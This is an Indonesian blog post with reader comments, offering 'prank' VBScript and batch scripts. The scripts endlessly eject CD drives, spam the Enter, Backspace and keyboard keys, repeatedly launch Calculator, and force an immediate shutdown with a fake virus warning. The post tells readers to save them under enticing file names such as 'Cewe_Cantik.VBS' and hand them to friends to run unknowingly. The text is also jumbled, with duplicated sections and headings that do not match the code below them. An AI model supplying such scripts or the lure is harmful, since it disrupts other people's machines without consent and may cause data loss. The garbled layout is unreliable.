Tidak untuk kejahatan............ ckakakaka..........
mungkin banyak yang udah tau caranya.......
aku cuma pengen koleksi aja di blog ku..... hahaha.....
1. Meng-eject Drive CD-Room Terus-Menerus
^
hati2 bro, klo keseringan bisa wafat tu kompie ..
2. Tombol Enter Terus-terusan Aktif
4. Iseng Dengan Backspace (Jika menekan tombol Bacspace akan keluar tulisan "Maaf anda harus mengulang kembali" atau bisa dibuat semau kita.)
5. Iseng Dengan Membuka Calculator Terus Menerus
mungkin banyak yang udah tau caranya.......
aku cuma pengen koleksi aja di blog ku..... hahaha.....
1. Meng-eject Drive CD-Room Terus-Menerus
Code:^
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
^
hati2 bro, klo keseringan bisa wafat tu kompie ..
2. Tombol Enter Terus-terusan Aktif
Code:3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
4. Iseng Dengan Backspace (Jika menekan tombol Bacspace akan keluar tulisan "Maaf anda harus mengulang kembali" atau bisa dibuat semau kita.)
Code:MsgBox “Maaf, Anda Harus Mengulang Kembali” Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{bs}” loop
5. Iseng Dengan Membuka Calculator Terus Menerus
Code:6. Iseng dengan Keyboard (tampil tulisan yang kita inginkan)
@ECHO off :top START %SystemRoot%\system32\cacl.exe GOTO top
Code:7. Iseng Dengan Shutdown Komputer
Set wshShell = wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki” loop
Code:Semua trik di atas (No. 1 sampai 7 di simpan / save menggunakan .VBS (misalnya pake nama yang bikin penasaran, misalnya: Cewe_Cantik.VBS) dan save as type-nya pake all files, setelah itu berikan ke temen yang mau kita isengin....! Nah nti temen pasti penasaran dan buka notepad itu, Jreng.....jreng... komputer langsung mengikuti perintah sesuai judul di atas!
@echo off msg * Komputer Anda Terinfeksi Virus shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0
Klw Wdh Gtw...
ReplyDeleteGmna Cra Mati'n program'na na...?
;;)
back up dlu registry nya bos...... :D
ReplyDeletekok gagal ?
ReplyDeletekan udah di copas
@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top
tuh di notepad > save as asd.VDS
terus pas di buka filenya malah ada tulisan gini
"WIndows Scrip Host bal bla bla"
pke windows apa yah ??
ReplyDeletedi windows XP bisa kog.....
coba script yang lainnya aja.....